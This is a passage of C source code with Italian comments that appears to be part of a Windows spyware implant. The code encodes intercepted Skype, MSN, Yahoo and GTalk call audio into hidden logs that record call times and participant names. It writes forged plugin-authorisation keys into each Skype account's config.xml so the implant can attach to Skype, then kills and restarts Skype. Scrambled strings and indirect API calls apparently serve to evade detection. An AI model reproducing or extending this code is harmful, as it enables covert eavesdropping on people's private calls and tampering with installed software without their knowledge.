// Allochiamo il buffer di output grande quanto quello originale (per sicurezza)
if (!(to_write = (BYTE *)malloc(frame_size*SAMPLE_SIZE + sizeof(DWORD)))) {
SPEEX_FREE;
return;
}
cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione
// Allochiamo il buffer di elaborazione
if (!(input = (float *)malloc(frame_size*sizeof(float)))) {
SAFE_FREE(to_write);
SPEEX_FREE;
return;
}
// XXX Fix per scalare a 16KHz l'output di MSN che e' a 48KHz
if (additional_data->uProgramType == VOIP_MSMSG+0x140 && additional_data->uChannel == OUTPUT_ELEM)
channels *= 3;
if (additional_data->uProgramType == VOIP_MSNWS+0x140)
SAMPLE_SIZE = 4;
hf = Log_CreateFile(PM_VOIPRECORDAGENT, (BYTE *)additional_data, additional_len);
// Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero
for (source_ptr=source; source_ptr+(frame_size*SAMPLE_SIZE*channels)<=source+total_size; source_ptr+=(frame_size*SAMPLE_SIZE*channels)) {
// Copiamo i campioni a 16 bit dentro dei float
bit_sample = (short *)source_ptr;
bit_sample_float = (float *)source_ptr;
// MSN Wasapi usa la codifica float
if (additional_data->uProgramType == VOIP_MSNWS+0x140) {
for (i=0; i<frame_size; i++)
// Equalizza i pcm attenuando il segnale di circa 1.2 Db
//(per evitare il clipping dei GSM con speex)
input[i] = bit_sample_float[i*channels] * 32000;
} else {
for (i=0; i<frame_size; i++)
// Equalizza i pcm attenuando il segnale di circa 1.2 Db
//(per evitare il clipping dei GSM con speex)
input[i] = bit_sample[i*channels] - (bit_sample[i*channels]/4);
}
rel_speex_bits_reset(&bits);
rel_speex_encode(state, input, &bits);
// Encoda dentro il buffer di output
nbBytes = rel_speex_bits_write(&bits, (char *)cbits, frame_size*SAMPLE_SIZE);
if (nbBytes > (frame_size*SAMPLE_SIZE))
continue; // Check paranoico
// Copia la lunghezza nei primi 4 byte per fare un unica scrittura su file
memcpy(to_write, &nbBytes, sizeof(DWORD));
Log_WriteFile(hf, to_write, nbBytes+sizeof(DWORD));
}
Log_CloseFile(hf);
SAFE_FREE(to_write);
SAFE_FREE(input);
SPEEX_FREE;
}
// Salva la lista come wav
void SaveWav(BYTE *channel_array, DWORD size, DWORD channels, pVoiceAdditionalData additional_data, DWORD additional_len)
{
static BOOL first_save = TRUE;
ScrambleString ss1("_ yPUvU8WUAUPC 8diUE gEilg......QM\r\n\r\n", is_demo_version); // "- Initializing audio codec......OK\r\n\r\n"
ScrambleString ss2("_ yPUvU8WUAUPC 8diUE gEilg......L99Q9\r\n\r\n", is_demo_version); // "- Initializing audio codec......ERROR\r\n\r\n"
// Verifica che l'array sia stato allocato
if (!channel_array)
return;
// Solo a scopi di DEMO
if (first_save) {
first_save = FALSE;
if (codec_handle)
REPORT_STATUS_LOG(ss1.get_str());
else
REPORT_STATUS_LOG(ss2.get_str());
}
// Se abbimo la DLL del codec, salva in modo compresso
if (codec_handle) {
SaveEncode(channel_array, size, channels, additional_data, additional_len);
return;
}
}
// Carica (se risce) la DLL del codec e risolve tutti i simboli utilizzati
#define RESOLVE_ERROR { FreeLibrary(hcodec); return NULL; }
HMODULE ResolveCodecSymbols(char *name)
{
HMODULE hcodec;
if ( !(hcodec = LoadLibrary(name)))
return NULL;
if (! (rel_speex_encoder_init = (speex_encoder_init_t)GetProcAddress(hcodec, "speex_encoder_init")) ) RESOLVE_ERROR;
if (! (rel_speex_encoder_ctl = (speex_encoder_ctl_t)GetProcAddress(hcodec, "speex_encoder_ctl")) ) RESOLVE_ERROR;
if (! (rel_speex_encoder_destroy = (speex_encoder_destroy_t)GetProcAddress(hcodec, "speex_encoder_destroy")) ) RESOLVE_ERROR;
if (! (rel_speex_encode = (speex_encode_t)GetProcAddress(hcodec, "speex_encode")) ) RESOLVE_ERROR;
if (! (rel_speex_bits_init = (speex_bits_init_t)GetProcAddress(hcodec, "speex_bits_init")) ) RESOLVE_ERROR;
if (! (rel_speex_bits_reset = (speex_bits_reset_t)GetProcAddress(hcodec, "speex_bits_reset")) ) RESOLVE_ERROR;
if (! (rel_speex_bits_write = (speex_bits_write_t)GetProcAddress(hcodec, "speex_bits_write")) ) RESOLVE_ERROR;
if (! (rel_speex_bits_destroy = (speex_bits_destroy_t)GetProcAddress(hcodec, "speex_bits_destroy")) ) RESOLVE_ERROR;
if (! (rel_speex_lib_get_mode = (speex_lib_get_mode_t)GetProcAddress(hcodec, "speex_lib_get_mode")) ) RESOLVE_ERROR;
return hcodec;
}
// Ritorna l'additional data da inserire nel file
// NON e' thread safe (tanto la richiamo solo da una funzione)
#define MAX_PEER_LEN 500
pVoiceAdditionalData VoipGetAdditionalData(partner_entry *partner_list, DWORD in_out, DWORD *add_len)
{
static BYTE additional_data[sizeof(VoiceAdditionalData)+(MAX_PEER_LEN*2*sizeof(WCHAR))];
pVoiceAdditionalData voip_header = (pVoiceAdditionalData)additional_data;
WCHAR *peer_string = (WCHAR *)(voip_header+1);
if (add_len)
*add_len = 0;
memset(additional_data, 0, sizeof(additional_data));
voip_header->uVersion = LOG_VOICE_VERSION;
voip_header->uIngoing = 0;
voip_header->uChannel = in_out;
if (partner_list)
voip_header->uProgramType = partner_list->voip_program + 0x140;
else
voip_header->uProgramType = 0;
memcpy(&(voip_header->start), &(channel_time_start[in_out]), sizeof(FILETIME));
memcpy(&(voip_header->stop), &(channel_time_last[in_out]), sizeof(FILETIME));
voip_header->uCallerIdLen = 0;
if (partner_list) {
switch (partner_list->voip_program) {
case VOIP_MSMSG: voip_header->uSampleRate = SAMPLE_RATE_MSN; break;
case VOIP_YAHOO:
if (in_out == 0)
voip_header->uSampleRate = SAMPLE_RATE_YMSG;
else
voip_header->uSampleRate = SAMPLE_RATE_YMSG_IN;
break;
case VOIP_SKYPE: voip_header->uSampleRate = SAMPLE_RATE_SKYPE; break;
case VOIP_GTALK: voip_header->uSampleRate = SAMPLE_RATE_GTALK; break;
case VOIP_MSNWS: voip_header->uSampleRate = sample_sampling[in_out]; break;
case VOIP_SKWSA: voip_header->uSampleRate = sample_sampling[in_out]; break;
default: voip_header->uSampleRate = SAMPLE_RATE_DEFAULT;
}
} else
voip_header->uSampleRate = SAMPLE_RATE_DEFAULT;
peer_string[0] = 0;
for (; partner_list; partner_list=partner_list->next) {
if (partner_list->peer) {
if (peer_string[0])
_snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s,%S", peer_string, partner_list->peer);
else
_snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%S", partner_list->peer);
/*if (partner_list->participants==0)
_snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s %S", peer_string, partner_list->peer);
else
_snwprintf_s(peer_string, MAX_PEER_LEN, _TRUNCATE, L"%s %S(+%d)", peer_string, partner_list->peer, partner_list->participants);*/
}
}
voip_header->uCalleeIdLen = wcslen(peer_string) * sizeof(WCHAR);
if (add_len)
*add_len = sizeof(VoiceAdditionalData) + voip_header->uCalleeIdLen + voip_header->uCallerIdLen;
return voip_header;
}
// Calcola la differenza fra due FILETIME in decimi di secondo
int TimeDiff(FILETIME *elem_1, FILETIME *elem_2)
{
long long elem64_1=0, elem64_2=0;
int diff;
elem64_1 = elem_1->dwHighDateTime; elem64_1<<=32;
elem64_2 = elem_2->dwHighDateTime; elem64_2<<=32;
elem64_1 += elem_1->dwLowDateTime;
elem64_2 += elem_2->dwLowDateTime;
elem64_1 -= elem64_2;
elem64_1 /= 1000000;
diff = (int) elem64_1;
return diff;
}
void EndCall()
{
DWORD i, marker = 0xFFFFFFFF;
HANDLE hf;
pVoiceAdditionalData additional_data;
DWORD additional_len;
// Salva code pendenti (se presenti) di una precedente chiamata
for (i=0; i<2; i++) {
if (sample_size[i]>0) {
additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len);
SaveWav(wave_array[i], sample_size[i], sample_channels[i], additional_data, additional_len);
sample_size[i] = 0;
}
}
for (i=0; i<2; i++) {
// Aggiunge il chunk di fine chiamata
// Forza la marcatura temporale alla fine dell'ultimo chunk della chiamata
channel_time_start[i].dwHighDateTime = channel_time_last[i].dwHighDateTime;
channel_time_start[i].dwLowDateTime = channel_time_last[i].dwLowDateTime;
additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len);
hf = Log_CreateFile(PM_VOIPRECORDAGENT, (BYTE *)additional_data, additional_len);
Log_WriteFile(hf, (BYTE *)&marker, sizeof(DWORD));
Log_CloseFile(hf);
}
return ;
}
// NULL termina la stringa nella coda IPC
void NullTerminatePacket(DWORD len, BYTE *msg)
{
if ( len <= (MAX_MSG_LEN-1) )
msg[len] = 0;
else
msg[(MAX_MSG_LEN-1)] = 0;
}
// Libera la lista degli interlocutori
void FreePartnerList(partner_entry **head)
{
partner_entry *tmp_partner;
partner_entry *curr_partner = *head;
while (curr_partner) {
tmp_partner = curr_partner->next;
SAFE_FREE(curr_partner->peer);
SAFE_FREE(curr_partner);
curr_partner = tmp_partner;
}
*head = NULL;
}
// Puo' essere richiamata solo da dentro il processo di skype (uno dei suoi setup degli hook)
BOOL IsSkypePMInstalled()
{
WCHAR skype_path[MAX_PATH];
WCHAR *skype_pm_ptr;
WCHAR skype_pm_path[MAX_PATH];
HANDLE fileh;
if (FNC(GetModuleFileNameExW)(FNC(GetCurrentProcess)(), NULL, skype_path, sizeof(skype_path)/sizeof(WCHAR))) {
if (skype_pm_ptr = wcsstr(skype_path, L"\\Phone\\")) {
*skype_pm_ptr = 0;
_snwprintf_s(skype_pm_path, sizeof(skype_pm_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\Plugin Manager\\skypePM.exe", skype_path);
fileh = FNC(CreateFileW)(skype_pm_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (fileh == INVALID_HANDLE_VALUE)
return FALSE;
CloseHandle(fileh);
return TRUE;
}
}
return FALSE;
}
#define GENERIC_FIELD_LEN MAX_PATH*2
// Usabile solo in questo caso, perche' potrebbe tornare dei campi inesistenti
// ma tanto al fine dei nostri check poco ci interessa leggere dei campi in piu'
// con valori NULL
char *GetXMLNodeA(char *data, char *node, char *buffer)
{
char *ptr1, *ptr2, *ret_val;
char saved_char;
memset(buffer, 0, GENERIC_FIELD_LEN);
if (data == NULL)
return NULL;
if ( !(ptr1 = strstr(data, node)) )
return NULL;
ret_val = ptr1;
if ( !(ptr1 = strchr(ptr1, L'>')) )
return NULL;
if ( !(ptr2 = strchr(ptr1, L'<')) )
return NULL;
saved_char = *ptr2;
ptr1++; *ptr2 = 0;
strncpy_s(buffer, GENERIC_FIELD_LEN, ptr1, _TRUNCATE);
*ptr2 = saved_char;
return ret_val;
}
//// Verifica se l'ACL nel file corrisponde alla nostra
//BOOL CheckACL(char *key1, char *key2, char *key3, char *key4, char *path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_path)
//{
// if (/*!stricmp(key1, m_key1) &&*/ !stricmp(key2, m_key2) && !stricmp(key3, m_key3) && !stricmp(key4, m_key4)/* && !stricmp(path, m_path)*/)
// return TRUE;
// return FALSE;
//}
DWORD RapidGetFileSize(HANDLE hfile)
{
LARGE_INTEGER li;
li.LowPart = INVALID_FILE_SIZE;
if (!GetFileSizeEx(hfile, &li))
return INVALID_FILE_SIZE;
return li.LowPart;
}
// Verifica se nel file di config c'e' la nostra ACL
// Se non riesce ad aprire il file, torna che l'acl c'e'. Altrimenti potrebbe scriverla piu' volte...tanto poi non riuscirebbe comunque a scriverla
BOOL IsACLPresent(WCHAR *config_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_path)
{
HANDLE hFile;
HANDLE hMap;
DWORD config_size;
char *config_map;
char *local_config_map, *ptr, *ptr_k;
BOOL acl_found = FALSE;
char key1[GENERIC_FIELD_LEN], key2[GENERIC_FIELD_LEN], key3[GENERIC_FIELD_LEN], key4[GENERIC_FIELD_LEN], path[GENERIC_FIELD_LEN];
// Mappa in memoria il file di config
if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
return TRUE;
config_size = RapidGetFileSize(hFile);
if (config_size == INVALID_FILE_SIZE) {
CloseHandle(hFile);
return TRUE;
}
local_config_map = (char *)calloc(config_size + 1, sizeof(char));
if (local_config_map == NULL) {
CloseHandle(hFile);
return TRUE;
}
if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return TRUE;
}
if ( (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) {
memcpy(local_config_map, config_map, config_size);
FNC(UnmapViewOfFile)(config_map);
ptr = local_config_map;
// Vede se ce una chiave che matcha
/*while (ptr = GetXMLNodeA(ptr, "Key1", key1)) {
ptr_k = GetXMLNodeA(ptr, "Key2", key2);
ptr_k = GetXMLNodeA(ptr_k, "Key3", key3);
ptr_k = GetXMLNodeA(ptr_k, "Key4", key4);
ptr_k = GetXMLNodeA(ptr_k, "Path", path);
if (!ptr_k)
break; // Se non ci sono piu' nemmeno un Key2,3,4 e Path e' inutile continuare a cercare
if (CheckACL(key1, key2, key3, key4, path, m_key1, m_key2, m_key3, m_key4, m_path)) {
acl_found = TRUE;
break;
}
ptr++;
}*/
if (strstr(ptr, "<Client97>") || strstr(ptr, "<Client98>"))
acl_found = TRUE;
}
SAFE_FREE(local_config_map);
CloseHandle(hMap);
CloseHandle(hFile);
return acl_found;
}
// Scriva la nostra ACL nel file di config
BOOL WriteSkypeACL(WCHAR *config_path, char *key1, char *key2, char *key3, char *key4, char *key5, char *key6, char *path, BOOL isOld)
{
HANDLE hFile;
HANDLE hMap;
DWORD config_size, first_part_size;
char *config_map;
char *local_config_map, *ptr = NULL;
BOOL acl_missing = FALSE, c_missing = FALSE;
DWORD dummy;
// Fa una copia del file in memoria
if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
return FALSE;
config_size = RapidGetFileSize(hFile);
if (config_size == INVALID_FILE_SIZE) {
CloseHandle(hFile);
return FALSE;
}
local_config_map = (char *)calloc(config_size + 1, sizeof(char));
if (local_config_map == NULL) {
CloseHandle(hFile);
return FALSE;
}
if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return FALSE;
}
if (! (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) {
SAFE_FREE(local_config_map);
CloseHandle(hMap);
CloseHandle(hFile);
return FALSE;
}
memcpy(local_config_map, config_map, config_size);
FNC(UnmapViewOfFile)(config_map);
CloseHandle(hMap);
// Vede se manca la sezione <AccessContrlList>
if (!(ptr = strstr(local_config_map, "</AccessControlList>"))) {
acl_missing = TRUE;
ptr = strstr(local_config_map, "</C>");
if (!ptr) {
c_missing = TRUE;
ptr = strstr(local_config_map, "</UI>");
}
}
if (!ptr) {
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return FALSE;
}
// Svuota il contenuto del file
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
first_part_size = ptr - local_config_map;
WriteFile(hFile, local_config_map, first_part_size, &dummy, NULL);
if (c_missing)
WriteFile(hFile, "<C>\r\n", strlen("<C>\r\n"), &dummy, NULL);
if (acl_missing)
WriteFile(hFile, "<AccessControlList>\r\n", strlen("<AccessControlList>\r\n"), &dummy, NULL);
if (!isOld)
WriteFile(hFile, "<Client97>\r\n<Key1>", strlen("<Client97>\r\n<Key1>"), &dummy, NULL);
else
WriteFile(hFile, "<Client98>\r\n<Key1>", strlen("<Client98>\r\n<Key1>"), &dummy, NULL);
WriteFile(hFile, key1, strlen(key1), &dummy, NULL);
WriteFile(hFile, "</Key1>\r\n", strlen("</Key1>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Key2>", strlen("<Key2>"), &dummy, NULL);
WriteFile(hFile, key2, strlen(key2), &dummy, NULL);
WriteFile(hFile, "</Key2>\r\n", strlen("</Key2>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Key3>", strlen("<Key3>"), &dummy, NULL);
WriteFile(hFile, key3, strlen(key3), &dummy, NULL);
WriteFile(hFile, "</Key3>\r\n", strlen("</Key3>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Key4>", strlen("<Key4>"), &dummy, NULL);
WriteFile(hFile, key4, strlen(key4), &dummy, NULL);
WriteFile(hFile, "</Key4>\r\n", strlen("</Key4>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Key5>", strlen("<Key5>"), &dummy, NULL);
WriteFile(hFile, key5, strlen(key5), &dummy, NULL);
WriteFile(hFile, "</Key5>\r\n", strlen("</Key5>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Key6>", strlen("<Key6>"), &dummy, NULL);
WriteFile(hFile, key6, strlen(key6), &dummy, NULL);
WriteFile(hFile, "</Key6>\r\n", strlen("</Key6>\r\n"), &dummy, NULL);
WriteFile(hFile, "<Path>", strlen("<Path>"), &dummy, NULL);
WriteFile(hFile, path, strlen(path), &dummy, NULL);
if (!isOld)
WriteFile(hFile, "</Path>\r\n</Client97>\r\n", strlen("</Path>\r\n</Client97>\r\n"), &dummy, NULL);
else
WriteFile(hFile, "</Path>\r\n</Client98>\r\n", strlen("</Path>\r\n</Client98>\r\n"), &dummy, NULL);
if (acl_missing)
WriteFile(hFile, "</AccessControlList>\r\n", strlen("</AccessControlList>\r\n"), &dummy, NULL);
if (c_missing)
WriteFile(hFile, "</C>\r\n", strlen("</C>\r\n"), &dummy, NULL);
if (!WriteFile(hFile, ptr, config_size - first_part_size, &dummy, NULL)) {
SetEndOfFile(hFile);
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return FALSE;
}
SetEndOfFile(hFile);
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return TRUE;
}
// Torna TRUE se e' precedente alla 5.5.0.X
BOOL IsOldSkypeVersion(WCHAR *config_path)
{
HANDLE hFile;
HANDLE hMap;
DWORD config_size;
char *config_map;
char *local_config_map, *ptr = NULL;
// Fa una copia del file in memoria
if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
return FALSE;
config_size = GetFileSize(hFile, NULL);
if (config_size == INVALID_FILE_SIZE) {
CloseHandle(hFile);
return FALSE;
}
local_config_map = (char *)calloc(config_size + 1, sizeof(char));
if (local_config_map == NULL) {
CloseHandle(hFile);
return FALSE;
}
if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return FALSE;
}
if (! (config_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) ) {
SAFE_FREE(local_config_map);
CloseHandle(hMap);
CloseHandle(hFile);
return FALSE;
}
memcpy(local_config_map, config_map, config_size);
FNC(UnmapViewOfFile)(config_map);
CloseHandle(hMap);
// Vede se manca la sezione <AccessContrlList>
if (strstr(local_config_map, "<LastWhatsNewGuideVersionStr>5.3.0.")) {
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return TRUE;
}
SAFE_FREE(local_config_map);
CloseHandle(hFile);
return FALSE;
}
extern BOOL SkypeACLKeyGen(char *lpUserName, char *lpFileName, char *lpOutKey1, char *lpOutKey2, char *lpOutKey3, char *lpOutKey4, char *lpOutKey5, char *lpOutKey6, char *lpOutPath, BOOL isOld);
BOOL CalculateUserHash(WCHAR *user_name, WCHAR *file_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_key5, char *m_key6, char *m_path, BOOL isOld)
{
char c_user_name[MAX_PATH];
char c_file_path[MAX_PATH];
sprintf_s(c_user_name, MAX_PATH, "%S", user_name);
sprintf_s(c_file_path, MAX_PATH, "%S", file_path);
ZeroMemory(m_key1, MAX_HASHKEY_LEN);
ZeroMemory(m_key2, MAX_HASHKEY_LEN);
ZeroMemory(m_key3, MAX_HASHKEY_LEN);
ZeroMemory(m_key4, MAX_HASHKEY_LEN);
ZeroMemory(m_key5, MAX_HASHKEY_LEN);
ZeroMemory(m_key6, MAX_HASHKEY_LEN);
ZeroMemory(m_path, MAX_HASHKEY_LEN);
return SkypeACLKeyGen(c_user_name, c_file_path, m_key1, m_key2, m_key3, m_key4, m_key5, m_key6, m_path, isOld);
}
// Cerca (e in caso fa calcolare) gli hash corretti relativi ad un particolare utente
BOOL FindHashKeys(WCHAR *user_name, WCHAR *file_path, char *m_key1, char *m_key2, char *m_key3, char *m_key4, char *m_key5, char *m_key6, char *m_path, BOOL isOld)
{
typedef struct {
WCHAR user_name[MAX_PATH];
char m_key1[MAX_HASHKEY_LEN];
char m_key2[MAX_HASHKEY_LEN];
char m_key3[MAX_HASHKEY_LEN];
char m_key4[MAX_HASHKEY_LEN];
char m_key5[MAX_HASHKEY_LEN];
char m_key6[MAX_HASHKEY_LEN];
char m_path[MAX_HASHKEY_LEN];
} user_hash_struct;
static user_hash_struct *user_hash_array_old = NULL;
static DWORD user_hash_size_old = 0;
static user_hash_struct *user_hash_array_new = NULL;
static DWORD user_hash_size_new = 0;
user_hash_struct *tmp_ptr = NULL;
DWORD i;
if (isOld) {
for (i=0; i<user_hash_size_old && user_hash_array_old; i++) {
if (!wcscmp(user_hash_array_old[i].user_name, user_name)) {
memcpy(m_key1, user_hash_array_old[i].m_key1, MAX_HASHKEY_LEN);
memcpy(m_key2, user_hash_array_old[i].m_key2, MAX_HASHKEY_LEN);
memcpy(m_key3, user_hash_array_old[i].m_key3, MAX_HASHKEY_LEN);
memcpy(m_key4, user_hash_array_old[i].m_key4, MAX_HASHKEY_LEN);
memcpy(m_key5, user_hash_array_old[i].m_key5, MAX_HASHKEY_LEN);
memcpy(m_key6, user_hash_array_old[i].m_key6, MAX_HASHKEY_LEN);
memcpy(m_path, user_hash_array_old[i].m_path, MAX_HASHKEY_LEN);
return TRUE;
}
}
} else {
for (i=0; i<user_hash_size_new && user_hash_array_new; i++) {
if (!wcscmp(user_hash_array_new[i].user_name, user_name)) {
memcpy(m_key1, user_hash_array_new[i].m_key1, MAX_HASHKEY_LEN);
memcpy(m_key2, user_hash_array_new[i].m_key2, MAX_HASHKEY_LEN);
memcpy(m_key3, user_hash_array_new[i].m_key3, MAX_HASHKEY_LEN);
memcpy(m_key4, user_hash_array_new[i].m_key4, MAX_HASHKEY_LEN);
memcpy(m_key5, user_hash_array_new[i].m_key5, MAX_HASHKEY_LEN);
memcpy(m_key6, user_hash_array_new[i].m_key6, MAX_HASHKEY_LEN);
memcpy(m_path, user_hash_array_new[i].m_path, MAX_HASHKEY_LEN);
return TRUE;
}
}
}
if (!CalculateUserHash(user_name, file_path, m_key1, m_key2, m_key3, m_key4, m_key5, m_key6, m_path, isOld))
return FALSE;
if (isOld) {
if ( !(tmp_ptr = (user_hash_struct *)realloc(user_hash_array_old, (user_hash_size_old+1)*sizeof(user_hash_struct))) )
return TRUE;
user_hash_array_old = tmp_ptr;
memcpy(user_hash_array_old[user_hash_size_old].user_name, user_name, sizeof(user_hash_array_old[user_hash_size_old].user_name));
memcpy(user_hash_array_old[user_hash_size_old].m_key1, m_key1, sizeof(user_hash_array_old[user_hash_size_old].m_key1));
memcpy(user_hash_array_old[user_hash_size_old].m_key2, m_key2, sizeof(user_hash_array_old[user_hash_size_old].m_key2));
memcpy(user_hash_array_old[user_hash_size_old].m_key3, m_key3, sizeof(user_hash_array_old[user_hash_size_old].m_key3));
memcpy(user_hash_array_old[user_hash_size_old].m_key4, m_key4, sizeof(user_hash_array_old[user_hash_size_old].m_key4));
memcpy(user_hash_array_old[user_hash_size_old].m_key5, m_key5, sizeof(user_hash_array_old[user_hash_size_old].m_key5));
memcpy(user_hash_array_old[user_hash_size_old].m_key6, m_key6, sizeof(user_hash_array_old[user_hash_size_old].m_key6));
memcpy(user_hash_array_old[user_hash_size_old].m_path, m_path, sizeof(user_hash_array_old[user_hash_size_old].m_path));
user_hash_size_old++;
} else {
if ( !(tmp_ptr = (user_hash_struct *)realloc(user_hash_array_new, (user_hash_size_new+1)*sizeof(user_hash_struct))) )
return TRUE;
user_hash_array_new = tmp_ptr;
memcpy(user_hash_array_new[user_hash_size_new].user_name, user_name, sizeof(user_hash_array_new[user_hash_size_new].user_name));
memcpy(user_hash_array_new[user_hash_size_new].m_key1, m_key1, sizeof(user_hash_array_new[user_hash_size_new].m_key1));
memcpy(user_hash_array_new[user_hash_size_new].m_key2, m_key2, sizeof(user_hash_array_new[user_hash_size_new].m_key2));
memcpy(user_hash_array_new[user_hash_size_new].m_key3, m_key3, sizeof(user_hash_array_new[user_hash_size_new].m_key3));
memcpy(user_hash_array_new[user_hash_size_new].m_key4, m_key4, sizeof(user_hash_array_new[user_hash_size_new].m_key4));
memcpy(user_hash_array_new[user_hash_size_new].m_key5, m_key5, sizeof(user_hash_array_new[user_hash_size_new].m_key5));
memcpy(user_hash_array_new[user_hash_size_new].m_key6, m_key6, sizeof(user_hash_array_new[user_hash_size_new].m_key6));
memcpy(user_hash_array_new[user_hash_size_new].m_path, m_path, sizeof(user_hash_array_new[user_hash_size_new].m_path));
user_hash_size_new++;
}
return TRUE;
}
void StartSkypeAsUser(char *skype_exe_path, STARTUPINFO* si, PROCESS_INFORMATION *pi)
{
HANDLE hToken;
if (hToken = GetMediumLevelToken()) {
HM_CreateProcessAsUser(skype_exe_path, 0, si, pi, 0, hToken);
CloseHandle(hToken);
}
}
void SKypeNameConvert(WCHAR *path, WCHAR *user_name, DWORD size)
{
WCHAR *ptr;
DWORD len, first;
ZeroMemory(user_name, size);
_snwprintf_s(user_name, size/sizeof(WCHAR), _TRUNCATE, L"%s", path);
ptr = wcsstr(user_name, L"#3a");
if (!ptr)
return;
len = wcslen(user_name)*sizeof(WCHAR);
first = (DWORD)ptr - (DWORD)user_name;
*ptr = L':';
memcpy(ptr+1, ptr+3, len-first-4);
}
// Inserisce i permessi corretti per potersi attaccare a skype come plugin
void CheckSkypePluginPermissions(DWORD skype_pid, WCHAR *skype_path)
{
WCHAR skype_data[MAX_PATH];
WCHAR skype_search[MAX_PATH];
WCHAR config_path[MAX_PATH];
WCHAR core_path[MAX_PATH];
char skype_exe_path[MAX_PATH];
WIN32_FIND_DATAW find_data;
HANDLE hFind, hSkype, hFile;
BOOL is_to_respawn = FALSE;
char m_key1[MAX_HASHKEY_LEN], m_key2[MAX_HASHKEY_LEN], m_key3[MAX_HASHKEY_LEN], m_key4[MAX_HASHKEY_LEN], m_key5[MAX_HASHKEY_LEN], m_key6[MAX_HASHKEY_LEN], m_path[MAX_HASHKEY_LEN];
BOOL isOld;
WCHAR skype_user_name[MAX_PATH];
// Trova il path di %appdata%\Skype
if(!FNC(GetEnvironmentVariableW)(L"appdata", skype_data, MAX_PATH))
return;
wcscat_s(skype_data, MAX_PATH, L"\\Skype\\");
_snwprintf_s(skype_search, sizeof(skype_search)/sizeof(WCHAR), _TRUNCATE, L"%s\\*", skype_data);
_snprintf_s(skype_exe_path, sizeof(skype_exe_path), _TRUNCATE, "%S\\Phone\\Skype.exe /nosplash /minimized", skype_path);
if (GetModuleFileNameW(NULL, core_path, MAX_PATH) == 0)
return;
// Cicla tutte le directory degli account
hFind = FNC(FindFirstFileW)(skype_search, &find_data);
if (hFind == INVALID_HANDLE_VALUE)
return;
do {
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (find_data.cFileName[0] == L'.')
continue;
// Verifica che sia realmente un utente
_snwprintf_s(config_path, sizeof(config_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%s\\config.xml", skype_data, find_data.cFileName);
if ((hFile = FNC(CreateFileW)(config_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
continue;
CloseHandle(hFile);
// Verifica se contiene gia' la permission altrimenti la scrive
isOld = IsOldSkypeVersion(config_path);
SKypeNameConvert(find_data.cFileName, skype_user_name, sizeof(skype_user_name));
if (FindHashKeys(skype_user_name, core_path, m_key1, m_key2, m_key3, m_key4, m_key5, m_key6, m_path, isOld))
if (!IsACLPresent(config_path, m_key1, m_key2, m_key3, m_key4, m_path))
if (WriteSkypeACL(config_path, m_key1, m_key2, m_key3, m_key4, m_key5, m_key6, m_path, isOld))
is_to_respawn = TRUE;
}
} while (FNC(FindNextFileW)(hFind, &find_data));
FNC(FindClose)(hFind);
// Se ne scrive almeno una, killa e respawna skype
if (is_to_respawn) {
if (hSkype = FNC(OpenProcess)(PROCESS_TERMINATE, FALSE, skype_pid)) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
TerminateProcess(hSkype, 0);
CloseHandle(hSkype);
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
Sleep(1000); // Da' un po' di tempo per killare il processo
//si.wShowWindow = SW_SHOW;
//si.dwFlags = STARTF_USESHOWWINDOW;
StartSkypeAsUser(skype_exe_path, &si, &pi);
}
}
}
// Monitora costantemente la possibilita' di attaccarsi come API client a Skype
DWORD WINAPI MonitorSkypePM(BOOL *semaphore)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD skipe_id;
HANDLE skype_handle;
WCHAR skype_path[MAX_PATH];
WCHAR *skype_pm_ptr;
WCHAR skype_pm_path[MAX_PATH];
